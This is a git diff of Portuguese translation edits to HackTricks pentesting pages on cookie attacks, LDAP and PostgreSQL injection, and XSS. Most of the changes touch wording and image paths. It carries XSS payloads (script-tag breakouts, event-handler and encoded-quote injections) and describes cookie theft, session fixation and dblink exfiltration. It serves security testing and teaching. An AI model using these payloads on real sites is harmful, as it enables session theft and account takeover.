@@ -72,7 +71,7 @@ Isso evita que o **cliente** acesse o cookie (via **Javascript**, por exemplo: `
 
 #### **Bypasses**
 
-* Se a página **estiver enviando os cookies como resposta** a uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação a essa página e **roubar os cookies** da resposta (ver um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
+* Se a página **estiver enviando os cookies como resposta** a uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação a esta página e **roubar os cookies** da resposta (ver um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
 * Isso pode ser contornado com solicitações **TRACE** **HTTP**, pois a resposta do servidor (se esse método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
 * Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** a partir do JS. No entanto, alguns contornos para isso foram encontrados em softwares específicos, como enviar `\r\nTRACE` em vez de `TRACE` para IE6.0 SP2.
 * Outra maneira é a exploração de vulnerabilidades zero-day dos navegadores.
@@ -82,13 +81,13 @@ Isso evita que o **cliente** acesse o cookie (via **Javascript**, por exemplo: `
 [cookie-jar-overflow.md](cookie-jar-overflow.md)
 {% endcontent-ref %}
 
-* É possível usar o ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar esses cookies.
+* É possível usar o ataque de [**Cookie Smuggling**](./#cookie-smuggling) para exfiltrar esses cookies
 
 ### Secure
 
 A solicitação **somente** enviará o cookie em uma solicitação HTTP se a solicitação for transmitida por um canal seguro (tipicamente **HTTPS**).
 
-## Prefixos de Cookies
+## Cookies Prefixes
 
 Cookies prefixados com `__Secure-` devem ser definidos juntamente com a flag `secure` de páginas que são protegidas por HTTPS.
 
@@ -99,33 +98,33 @@ Para cookies prefixados com `__Host-`, várias condições devem ser atendidas:
 * Eles são proibidos de especificar um domínio, impedindo sua transmissão para subdomínios.
 * O caminho para esses cookies deve ser definido como `/`.
 
-É importante notar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar cookies de aplicação. Assim, empregar o prefixo `__Host-` para todos os cookies de aplicação pode ser considerado uma boa prática para aumentar a segurança e o isolamento.
+É importante notar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar cookies de aplicação. Assim, empregar o prefixo `__Host-` para todos os cookies de aplicação pode ser considerado uma boa prática para aumentar a segurança e a isolação.
 
-### Sobrescrevendo cookies
+### Overwriting cookies
 
-Assim, uma das proteções dos cookies prefixados com `__Host-` é impedir que eles sejam sobrescritos a partir de subdomínios. Prevenindo, por exemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**artigo**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) é apresentado que foi possível definir cookies prefixados com \_\_HOST- a partir de subdomínios, enganando o parser, por exemplo, adicionando "=" no início ou no final...:
+Assim, uma das proteções dos cookies prefixados com `__Host-` é impedir que eles sejam sobrescritos a partir de subdomínios. Prevenindo, por exemplo, [**Cookie Tossing attacks**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) é apresentado que foi possível definir cookies prefixados com \_\_HOST- a partir de subdomínios, enganando o parser, por exemplo, adicionando "=" no início ou no final...:
 
-<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Ou em PHP, foi possível adicionar **outros caracteres no início** do nome do cookie que seriam **substituídos por caracteres de sublinhado**, permitindo sobrescrever cookies `__HOST-`:
 
-<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
 
-## Ataques de Cookies
+## Cookies Attacks
 
 Se um cookie personalizado contém dados sensíveis, verifique-o (especialmente se você estiver participando de um CTF), pois pode ser vulnerável.
 
-### Decodificando e Manipulando Cookies
+### Decoding and Manipulating Cookies
 
 Dados sensíveis incorporados em cookies devem sempre ser examinados. Cookies codificados em Base64 ou formatos semelhantes podem frequentemente ser decodificados. Essa vulnerabilidade permite que atacantes alterem o conteúdo do cookie e se façam passar por outros usuários, codificando seus dados modificados de volta no cookie.
 
-### Sequestro de Sessão
+### Session Hijacking
 
 Esse ataque envolve roubar o cookie de um usuário para obter acesso não autorizado à sua conta dentro de um aplicativo. Usando o cookie roubado, um atacante pode se passar pelo usuário legítimo.
 
-### Fixação de Sessão
+### Session Fixation
 
-Nesse cenário, um atacante engana uma vítima para usar um cookie específico para fazer login. Se o aplicativo não atribuir um novo cookie ao fazer login, o atacante, possuindo o cookie original, pode se passar pela vítima. Essa técnica depende da vítima fazer login com um cookie fornecido pelo atacante.
+Neste cenário, um atacante engana uma vítima para usar um cookie específico para fazer login. Se o aplicativo não atribuir um novo cookie ao fazer login, o atacante, possuindo o cookie original, pode se passar pela vítima. Essa técnica depende da vítima fazer login com um cookie fornecido pelo atacante.
 
 Se você encontrou um **XSS em um subdomínio** ou **controla um subdomínio**, leia:
 
@@ -133,7 +132,7 @@ Se você encontrou um **XSS em um subdomínio** ou **controla um subdomínio**,
 [cookie-tossing.md](cookie-tossing.md)
 {% endcontent-ref %}
 
-### Doação de Sessão
+### Session Donation
 
 Aqui, o atacante convence a vítima a usar o cookie de sessão do atacante. A vítima, acreditando que está logada em sua própria conta, realizará inadvertidamente ações no contexto da conta do atacante.
 
@@ -143,19 +142,19 @@ Se você encontrou um **XSS em um subdomínio** ou **controla um subdomínio**,
 [cookie-tossing.md](cookie-tossing.md)
 {% endcontent-ref %}
 
-### [Cookies JWT](../hacking-jwt-json-web-tokens.md)
+### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
 
-Clique no link anterior para acessar uma página explicando possíveis falhas em JWT.
+Clique no link anterior para acessar uma página que explica possíveis falhas em JWT.
 
-Tokens Web JSON (JWT) usados em cookies também podem apresentar vulnerabilidades. Para informações detalhadas sobre possíveis falhas e como explorá-las, recomenda-se acessar o documento vinculado sobre hacking JWT.
+Tokens JSON Web (JWT) usados em cookies também podem apresentar vulnerabilidades. Para informações detalhadas sobre possíveis falhas e como explorá-las, recomenda-se acessar o documento vinculado sobre hacking JWT.
 
 ### Cross-Site Request Forgery (CSRF)
 
 Esse ataque força um usuário logado a executar ações indesejadas em uma aplicação web na qual está atualmente autenticado. Atacantes podem explorar cookies que são automaticamente enviados com cada solicitação para o site vulnerável.
 
-### Cookies Vazios
+### Empty Cookies
 
-(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Os navegadores permitem a criação de cookies sem um nome, o que pode ser demonstrado através do JavaScript da seguinte forma:
+(Ver detalhes adicionais na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Os navegadores permitem a criação de cookies sem um nome, o que pode ser demonstrado através do JavaScript da seguinte forma:
 ```js
 document.cookie = "a=v1"
 document.cookie = "=test value;" // Setting an empty named cookie
@@ -193,7 +192,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
 * Zope procura uma vírgula para começar a analisar o próximo cookie.
 * As classes de cookies do Python começam a analisar em um caractere de espaço.
 
-Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que atacantes injetem cookies de CSRF-token falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e pode levar a contornos de autorização quando cookies são passados para servidores back-end suscetíveis a falsificação.
+Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que atacantes injetem cookies de CSRF-token falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e pode levar a contornos de autorização quando cookies são passados para servidores de back-end suscetíveis a falsificação.
 
 ### Verificações de Cookies Extra Vulneráveis
 
@@ -263,18 +262,17 @@ Deve haver um padrão (com o tamanho de um bloco usado). Assim, sabendo como um
 * [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
 * [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
 
-
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
-* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
-* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}

pentesting-web/ldap-injection.md

@@ -3,8 +3,8 @@
 ## LDAP Injection
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
@@ -224,15 +224,15 @@ intitle:"phpLDAPadmin" inurl:cmd.php
 
 {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

pentesting-web/sql-injection/postgresql-injection/README.md

@@ -1,12 +1,12 @@
-# PostgreSQL injection
+# Injeção PostgreSQL
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
-<summary>Support HackTricks</summary>
+<summary>Suporte HackTricks</summary>
 
 * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
 * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@@ -15,7 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
 </details>
 {% endhint %}
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
@@ -29,9 +29,9 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável -
 
 O **módulo PostgreSQL `dblink`** oferece capacidades para conectar a outras instâncias PostgreSQL e executar conexões TCP. Esses recursos, combinados com a funcionalidade `COPY FROM`, permitem ações como escalação de privilégios, varredura de portas e captura de resposta de desafio NTLM. Para métodos detalhados sobre como executar esses ataques, confira como [realizar esses ataques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
 
-### **Exemplo de Exfiltração usando dblink e grandes objetos**
+### **Exemplo de Exfiltração usando dblink e objetos grandes**
 
-Você pode [**ler este exemplo**](dblink-lo\_import-data-exfiltration.md) para ver um exemplo de CTF de **como carregar dados dentro de grandes objetos e depois exfiltrar o conteúdo de grandes objetos dentro do nome de usuário** da função `dblink_connect`.
+Você pode [**ler este exemplo**](dblink-lo\_import-data-exfiltration.md) para ver um exemplo de CTF de **como carregar dados dentro de objetos grandes e depois exfiltrar o conteúdo de objetos grandes dentro do nome de usuário** da função `dblink_connect`.
 
 ## Ataques PostgreSQL: Leitura/escrita, RCE, privesc
 
@@ -43,7 +43,7 @@ Confira como comprometer o host e escalar privilégios a partir do PostgreSQL em
 
 ## Bypass de WAF
 
-### Funções de String do PostgreSQL
+### Funções de String PostgreSQL
 
 Manipular strings pode ajudá-lo a **burlar WAFs ou outras restrições**.\
 [**Nesta página** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**você pode encontrar algumas funções de Strings úteis.**
@@ -97,15 +97,15 @@ SELECT 'hacktricks';
 SELECT $$hacktricks$$;
 SELECT $TAG$hacktricks$TAG$;
 ```
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

pentesting-web/xss-cross-site-scripting/README.md

@@ -1,8 +1,8 @@
 # XSS (Cross Site Scripting)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
+Se você está interessado em uma **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
@@ -17,7 +17,7 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável -
 2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`?
 3. Você pode contornar proteções?
 4. O conteúdo HTML está sendo interpretado por algum motor JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md).
-5. Se você não pode criar tags HTML que executem código JS, você poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/)?
+5. Se você não pode criar tags HTML que executem código JS, você poderia abusar de uma [**Injeção de Marcação Pendentes - HTML sem script**](../dangling-markup-html-scriptless-injection/)?
 2. Dentro de uma **tag HTML**:
 1. Você pode sair para o contexto HTML bruto?
 2. Você pode criar novos eventos/atributos para executar código JS?
@@ -53,17 +53,17 @@ Ao tentar explorar um XSS, a primeira coisa que você precisa saber é **onde su
 
 ### HTML bruto
 
-Se sua entrada está **refletida no HTML bruto** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... estas são apenas algumas das muitas tags HTML possíveis que você poderia usar.\
+Se sua entrada é **refletida no HTML bruto** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... essas são apenas algumas das muitas tags HTML possíveis que você poderia usar.\
 Além disso, tenha em mente a [Injeção de Template do Lado do Cliente](../client-side-template-injection-csti.md).
 
 ### Dentro do atributo de tags HTML
 
-Se sua entrada está refletida dentro do valor do atributo de uma tag, você poderia tentar:
+Se sua entrada é refletida dentro do valor do atributo de uma tag, você poderia tentar:
 
 1. **Escapar do atributo e da tag** (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: `"><img [...]`
 2. Se você **pode escapar do atributo, mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que executa código JS: `" autofocus onfocus=alert(1) x="`
 3. Se você **não pode escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido, **se você controla todo o valor ou apenas uma parte**, você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazê-lo executar código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
-4. Se sua entrada está refletida dentro de "**tags não exploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
+4. Se sua entrada é refletida dentro de "**tags não exploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
 
 Exemplo estranho de Angular executando XSS se você controla um nome de classe:
 ```html
@@ -230,7 +230,7 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Length bypass (small XSSs)
+### Bypass de comprimento (pequenos XSS)
 
 {% hint style="info" %}
 **Mais pequenos XSS para diferentes ambientes** payload [**pode ser encontrado aqui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**aqui**](https://tinyxss.terjanq.me).
@@ -280,7 +280,7 @@ Outro **exemplo** interessante é o atributo `href`, onde você pode usar o prot
 
 **Bypass dentro do evento usando codificação HTML/codificação URL**
 
-Os **caracteres codificados em HTML** dentro do valor dos atributos das tags HTML são **decodificados em tempo de execução**. Portanto, algo como o seguinte será válido (a carga útil está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Voltar </a>`
+Os **caracteres codificados em HTML** dentro do valor dos atributos das tags HTML são **decodificados em tempo de execução**. Portanto, algo como o seguinte será válido (o payload está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Voltar </a>`
 
 Note que **qualquer tipo de codificação HTML é válido**:
 ```javascript
@@ -359,7 +359,7 @@ _**Neste caso, a codificação HTML e o truque de codificação Unicode da seç
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Além disso, há outro **truque legal** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo codificada em URL, ela será decodificada em URL antes de ser executada.** Portanto, se você precisar **escapar** da **string** usando uma **aspa simples** e você perceber que **está sendo codificada em URL**, lembre-se de que **não importa,** ela será **interpretada** como uma **aspa simples** durante o tempo de **execução**.
+Além disso, há outro **truque legal** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo codificada em URL, ela será decodificada em URL antes de ser executada.** Portanto, se você precisar **escapar** da **string** usando uma **aspa simples** e perceber que **está sendo codificada em URL**, lembre-se de que **não importa,** ela será **interpretada** como uma **aspa simples** durante o tempo de **execução**.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
@@ -432,7 +432,7 @@ De [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Voc
 
 ### Bypasses de Blacklist
 
-Vários truques com o uso de diferentes codificações já foram expostos nesta seção. Volte **para aprender onde você pode usar:**
+Vários truques com diferentes codificações já foram expostos nesta seção. Volte **para aprender onde você pode usar:**
 
 * **Codificação HTML (tags HTML)**
 * **Codificação Unicode (pode ser código JS válido):** `\u0061lert(1)`
@@ -446,7 +446,7 @@ Leia os [Bypasses de Blacklist da seção anterior](./#blacklist-bypasses).
 
 **Bypasses para código JavaScript**
 
-Leia a [blacklist de bypass JavaScript da seção seguinte](./#javascript-bypass-blacklists-techniques).
+Leia a [blacklist de bypass de JavaScript da seção seguinte](./#javascript-bypass-blacklists-techniques).
 
 ### CSS-Gadgets
 
@@ -474,15 +474,15 @@ Nestes casos, sua **entrada** será **refletida dentro do código JS** de um arq
 
 ### Escapando a tag \<script>
 
-Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>` você poderia facilmente **escapar o fechamento da tag `<script>`**:
+Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>` você pode facilmente **escapar fechando a tag `<script>`**:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Note que neste exemplo **não fechamos nem mesmo a aspa simples**. Isso ocorre porque **a análise HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise de JavaScript para entender e executar os scripts incorporados é realizada apenas depois.
+Note que neste exemplo **não fechamos nem mesmo a aspa simples**. Isso ocorre porque **a análise HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise do JavaScript para entender e executar os scripts incorporados é realizada apenas depois.
 
 ### Dentro do código JS
 
-Se `<>` estiverem sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe JS**, porque se houver erros, o código JS não será executado:
+Se `<>` estiverem sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, porque se houver erros, o código JS não será executado:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@@ -755,7 +755,7 @@ Se você pode acionar um XSS enviando a carga útil dentro de um cookie, isso ge
 [cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
 {% endcontent-ref %}
 
-Você pode encontrar um grande abuso dessa técnica em [**este post de blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+Você pode encontrar um grande abuso dessa técnica em [**este post do blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
 
 ### Enviando sua sessão para o admin
 
@@ -763,7 +763,7 @@ Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS es
 
 ### Espelhamento de Sessão
 
-Se você encontrar algum self XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que os clientes peçam ajuda, para que o admin possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão.
+Se você encontrar algum self XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que clientes peçam ajuda, para que o admin possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão.
 
 Você poderia fazer o **administrador acionar seu self XSS** e roubar seus cookies/sessão.
 
@@ -779,12 +779,12 @@ Você poderia verificar se os **valores refletidos** estão sendo **normalizados
 ```
 ### Ruby-On-Rails bypass
 
-Devido à **atribuição em massa do RoR**, citações são inseridas no HTML e, em seguida, a restrição de citação é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
+Devido à **atribuição em massa do RoR**, as citações são inseridas no HTML e, em seguida, a restrição de citação é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
 Exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar a carga útil:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-A dupla "Key","Value" será retornada assim:
+O par "Key","Value" será retornado assim:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
@@ -822,9 +822,9 @@ document['default'+'View'][`\u0061lert`](3)
 ```
 ### XSS com injeção de cabeçalho em uma resposta 302
 
